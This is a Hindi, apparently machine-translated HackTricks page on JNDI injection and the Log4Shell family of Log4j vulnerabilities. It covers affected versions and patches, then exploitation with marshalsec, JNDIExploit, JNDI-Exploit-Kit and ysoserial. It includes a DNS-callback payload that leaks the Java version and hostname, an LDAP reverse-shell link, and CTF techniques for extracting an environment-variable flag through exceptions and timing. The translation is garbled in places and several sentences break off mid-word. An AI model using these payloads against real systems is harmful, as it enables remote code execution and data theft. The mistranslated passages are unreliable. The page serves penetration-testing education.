* अगर आप अपनी कंपनी का विज्ञापन हैकट्रिक्स में देखना चाहते हैं या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
JNDI, जो 1990 के दशक से जावा में एकत्रित किया गया है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे जावा कार्यक्रम डेटा या ऑब्जेक्ट को एक नामकरण प्रणाली के माध्यम से खोज सकते हैं। यह SPIs के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जो विभिन्न सिस्टम से डेटा पुनर्प्राप्ति की अनुमति देता है, जिसमें रिमोट जावा ऑब्ज
यह वंशविरोधी डिसीरियलाइज़ेशन दोष `log4j-core` घटक में एक महत्वपूर्ण दोष है, जिससे संस्करण 2.0-बीटा9 से 2.14.1 तक प्रभावित होता है। यह **दूरस्थ कोड क्रियान्वयन (RCE)** को संभव बनाता है, हमलावादियों को सिस्टम पर कब्जा करने की अनुमति देता है। इस समस्या की रिपोर्ट चेन ज़ाओजुन द्वारा अलीबाबा क्लाउड सुरक्षा टीम से की गई थी और यह विभिन्न एपाचे फ़्रेमवर्क को प्रभावित करती है। संस्करण 2.15.0 में प्रारंभिक सुधार अपूर्ण था। रक्षा के लिए सिग्मा नियम उपलब्ध हैं ([नियम 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [नियम 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))।
प्रारंभ में कम दर्जा दिया गया था, लेकिन बाद में महत्वपूर्ण बनाया गया, यह CVE एक **सेवा की अस्वीकृति (DoS)** दोष है जो CVE-2021-44228 के लिए 2.15.0 में अपूर्ण सुधार से होता है। यह गैर-डिफ़ॉल्ट विन्यासों को प्रभावित करता है, हमलावादों को नुकसान पहुंचाने की अनुमति देता है जादूगर पेलोड के माध्यम से। एक [ट्वीट](https://twitter.com/marcioalm/status/1471740771581652995) एक बायपास विधि प्रदर्शित करता है। समस्या को संस्करण 2.16.0 और 2.12.2 में सुलझाया गया है जिसमें संदेश खोज पैटर्न को हटाया गया है और JNDI को डिफ़ॉल्ट रूप से अक्षम कर दिया गया है।
`JMSAppender` का उपयोग करते हुए गैर-डिफ़ॉल्ट विन्यासों में प्रभावित करने वाला यह CVE **Log4j 1.x संस्करणों** को एक अविश्वसनीय डिसीरियलाइज़ेशन दोष है। 1.x शाखा के लिए कोई सुधार उपलब्ध नहीं है, जो अंत-जीवन है, और `log4j-core 2.17.0` में अपग्र
या `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** और यदि एक **DNS अनुरोध प्राप्त होता है जिसमें एनवायरनमेंट चर का मान है**, तो आपको पता चल जाएगा कि एप्लिकेशन वंशीकरणयोग्य है।
JDK संस्करण 6u141, 7u131, या 8u121 से ऊपर चल रहे होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। यह `com.sun.jndi.ldap.object.trustURLCodebase` की डिफ़ॉल्ट निष्क्रियकरण के कारण है, जो JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। हालांकि, यह महत्वपूर्ण है कि ये संस्करण **डेसीरियलाइज़ेशन हमले के खिलाफ सुरक्षित नहीं हैं**।
उन हमलावरों के लिए जो इन उच्च JDK संस्करणों का शिकार बनाना चाहते हैं, जावा एप्लिकेशन में **विश्वसनीय गैजेट** का उपयोग आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। उल्टे, निम्न JDK संस्करणों का शोषण करना अधिक सरल है क्योंकि इन संस्करणों को बदलकर विचारहीन कक्षाएँ लोड और क्रियान्वित की जा सकती हैं।
**अधिक जानकारी** के लिए (_जैसे RMI और CORBA वेक्टर्स पर सीमाएँ_) **पिछले JNDI नेमिंग संदर्भ खंड** या [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) देखें।
उपकरण [**marshalsec**](https://github.com/mbechler/marshalsec) का उपयोग करें (जार संस्करण यहाँ उपलब्ध है: [**यहाँ**](https://github.com/RandomRobbieBF/marshalsec-jar))। इस दृष्टिकोण से एक LDAP रेफरल सर्वर स्थापित करता है जो कनेक्शन को एक द्वितीय HTTP सर्वर पर पुनर्निर्देशित करता है जहां हमला होस्ट किया जाएगा:
कंपाइल करें जावा फ़ाइल को एक क्लास फ़ाइल में इस्तेमाल करके: `javac Exploit.java -source 8 -target 8`। अगले, उस डायरेक्टरी में जहां क्लास फ़ाइल है, एक **HTTP सर्वर** आरंभ करें: `python3 -m http.server`। यह सुनिश्चित करें कि **marshalsec LDAP सर्वर** इस HTTP सर्वर को संदर्भित करता है।
**ध्यान दें:** यह एक्सप्लॉइट जावा की कॉन्फ़िगरेशन पर निर्भर करता है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देती है। यदि यह अनुमति नहीं है, तो विश्वसनीय क्लास का शोषण करने के लिए विचार करें जिससे विचारात्मक कोड का निषेध हो सकता है।
ध्यान दें कि किसी कारण से लेखक ने इस परियोजना को गिटहब से हटा दिया था जब लॉग4शैल की खोज के बाद। आप इसका कैश वर्जन [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) में देख सकते हैं लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस वल्न का शोषण करने के लिए एक विभिन्न विधि का उपयोग करें।
इसके अतिरिक्त, आप सोर्स कोड को वेबवे मशीन में नहीं पा सकते हैं, इसलिए या तो सोर्स कोड का विश्लेषण करें, या जार को निष्पादित करें जानते हुए कि आप जो कुछ निष्पादित कर रहे हैं उसका ज्ञान नहीं है।
{% endhint %}
इस उदाहरण के लिए आप सिर्फ इस **वल्नरेबल वेब सर्वर को लॉग4शैल** को पोर्ट 8080 में चला सकते हैं: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README में आपको इसे कैसे चलाना है इसकी जानकारी मिलेगी_). यह वल्नरेबल एप्लिकेशन HTTP अनुरोध हेडर _X-Api-Version_ की सामग्री को एक वल्नरेबल संस्करण के साथ लॉग कर रहा है।
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
**ध्यान दें कि अन्य शोषण विकल्पों के लिए `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` की जाँच करें। इसके अतिरिक्त, यदि आपको आवश्यकता हो तो, आप LDAP और HTTP सर्वरों के पोर्ट को बदल सकते हैं।**
पिछले शोषण के तरह, आप इस भेद्यता का शोषण करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करने की कोशिश कर सकते हैं।\
आप यह विकल्प भेजने के लिए URLs उत्पन्न कर सकते हैं जो पीड़ित को भेजने के लिए हैं:
_यह हमला एक कस्टम जेनरेटेड जावा ऑब्जेक्ट का उपयोग करके **THM सोलर रूम** जैसे प्रयोगशालाओं में काम करेगा। हालांकि, यह सामान्य रूप से काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को एलडीएपी का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह किसी भरोसेमंद क्लास का दुरुपयोग करने के लिए विश्वसनीय कोड को निष्पादित नहीं कर रहा है._
यह विकल्प वास्तव में उपयोगी है **जावा संस्करणों को केवल निर्दिष्ट कक्षों पर विश्वास करने के लिए कॉन्फ़िगर किया गया है और सभी को नहीं**। इसलिए, **ysoserial** का उपयोग किया जाएगा **विश्वसनीय कक्षों की सीरियलाइजेशन उत्पन्न करने के लिए** जो उपयोग किया जा सकता है गैजेट्स के रूप में **विश्वसनीय कोड निष्पादित करने के लिए** (_ysoserial द्वारा दुरुपयोग किया गया विश्वसनीय कक्ष का उपयोग विक्टिम जावा प्रोग्राम द्वारा किया जाना चाहिए ताकि उत्पाद काम करे_).
**ysoserial** या [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करके आप JNDI द्वारा डाउनलोड किया जाने वाला डेसीरियलाइज़ेशन उत्पाद बना सकते हैं:
व्यक्तिगत डेसीरियलाइज़ेशन पेलोड (जिन्हें आपने या ysoserial द्वारा उत्पन्न किया गया हो) को जीएनडीआई-एक्सप्लॉइट-किट या आपके द्वारा स्वचालित रूप से उत्पन्न किए गए विभिन्न एक्सप्लॉइट के सर्वर पर जीएनडीआई लिंक जेनरेट करने के लिए [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) का उपयोग करें जहां एक्सप्लॉइट विचलित मशीनों से कनेक्शन की प्रतीक्षा कर रहा होगा।
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके संरक्षित संस्करण को उपयोग करके एक **रिवर्स शैल** प्राप्त करने के लिए एक वंशवादी संस्करण को भेज सकते हैं: **`${ldap://10.10.14.10:1389/generated}`**
इस [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में अच्छी तरह से समझाया गया है कि **Log4J** के कुछ विशेषताओं का दुरुपयोग संभव है।
> संस्करण 2.16.0 (जावा 8 के लिए) से **संदेश खोज विशेषता पूरी तरह से हटा दी गई है**। **कॉन्फ़िगरेशन में खोज काम करती है**। इसके अतिरिक्त, अब Log4j डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम कर देता है। कॉन्फ़िगरेशन में JNDI खोज को व्यावसायिक रूप से सक्षम करना चाहिए।
> संस्करण 2.17.0 से (और जावा 7 और जावा 6 के लिए 2.12.3 और 2.3.1), **केवल कॉन्फ़िगरेशन में खोज स्ट्रिंग को रूपांतरित रूप से विस्तारित किया जाता है**; किसी भी अन्य उपयोग में, केवल शीर्ष-स्तर की खोज हल की जाती है, और किसी भी घनी खोज को हल नहीं किया जाता है।
इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी `jndi` शोषण का उपयोग भूल सकते हैं। इसके अतिरिक्त, रूपांतरित खोज करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
[इस CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) में हमलावर `${sys:cmd}` की मान को नियंत्रित करता था और एक पर्यावरण चर की से ध्वज को बाहर ले जाने की आवश्यकता थी।\
जैसा कि [**पिछले payloads**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) में देखा गया है, वहाँ विभिन्न तरीके हैं पर्यावरण चरों तक पहुंचने के लिए, जैसे: **`${env:FLAG}`**। इस CTF में यह अनुप्रयोगी था लेकिन यह अन्य वास्तविक जीवन स्थितियों में हो सकता है।
### अपशिष्ट में ध्वज निकास
CTF में, आप लॉग4J का उपयोग करके जावा एप्लिकेशन के stderr तक पहुंच नहीं सकते थे, लेकिन Log4J **अपशिष्ट stdout पर भेजे जाते हैं**, जो पायथन ऐप में प्रिंट किया गया था। इसका मतलब था कि एक अपशिष्ट को ट्रिगर करके हम सामग्री तक पहुंच सकते थे। ध्वज को निकालने के लिए एक अपशिष्ट था: **`${java:${env:FLAG}}`.** यह काम करता है क्योंकि **`${java:CTF{blahblah}}`** मौजूद नहीं है और ध्वज के मान के साथ एक अपशिष्ट दिखाया जाएगा:
.png>)
### परिवर्तन पैटर्न अपशिष्ट
बस उसे उठाने के लिए, आप नए [**परिवर्तन पैटर्न**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) डाल सकते थे और अपशिष्ट को ट्रिगर कर सकते थे जो `stdout` पर लॉग किए जाएंगे। उदाहरण के लिए:
यह त्रुटि संदेश के भीतर तारीख निकालने के लिए उपयोगी नहीं था, क्योंकि लुकअप को परिवर्तन पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों के लिए उपयोगी हो सकता है जैसे कि पता लगाने के लिए।
### परिवर्तन पैटर्न रेजेक्स
हालांकि, कुछ **रेजेक्स का समर्थन करने वाले परिवर्तन पैटर्न** का उपयोग करना संभव है ताकि रेजेक्स का उपयोग करके लुकअप से सूचना निकाली जा सके और **बाइनरी खोज** या **समय आधारित** व्यवहार का दुरुपयोग किया जा सके।
* **अपशिष्ट संदेश के माध्यम से बाइनरी खोज**
परिवर्तन पैटर्न **`%replace`** का उपयोग **स्ट्रिंग** से **सामग्री** को **बदलने** के लिए किया जा सकता है यहाँ तक कि **रेजेक्स** का उपयोग करके। यह इस प्रकार काम करता है: `replace{पैटर्न}{रेजेक्स}{प्रतिस्थापन}`\
इस व्यवहार का दुरुपयोग करके आप स्ट्रिंग के भीतर कुछ भी रेजेक्स से मेल खाता है तो एक अपशिष्ट को ट्रिगर कर सकते हैं (और अगर यह नहीं मिला तो कोई अपशिष्ट नहीं होगा) जैसे:
जैसा कि पिछले खंड में उल्लिखित किया गया था, **`%replace`** **रीजेक्स** का समर्थन करता है। इसलिए [**ReDoS पेज**](../regular-expression-denial-of-service-redos.md) से पेलोड का उपयोग करके एक **समय समाप्ति** को उत्पन्न करना संभव है यदि ध्वज मिल जाता है।\
इस [**लेख**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) में, एक ReDoS हमले की बजाय एक **विस्तारण हमला** का उपयोग किया गया था जिससे प्रतिक्रिया में समय का अंतर उत्पन्न हुआ:
> यदि ध्वज `flagGuess` के साथ शुरू होता है, तो पूरा ध्वज 29 `#`-s से बदल दिया जाएगा (मैंने इस वर्ण का उपयोग किया क्योंकि यह संभावना है कि यह ध्वज का हिस्सा नहीं होगा)। **प्रत्येक परिणामी 29 `#`-s को फिर 54 `#`-s से बदल दिया जाता है**। यह प्रक्रिया **6 बार** दोहराई जाती है, जिससे कुल ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** होते हैं।
> इतने सारे `#`-s को बदल देने से Flask एप्लिकेशन का 10 सेकंड का समय समाप्त हो जाएगा, जिससे उपयोगकर्ता को HTTP स्थिति कोड 500 भेजा जाएगा। (यदि ध्वज `flagGuess` के साथ शुरू नहीं होता है, हमें गैर-500 स्थिति कोड प्राप्त होगा)
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
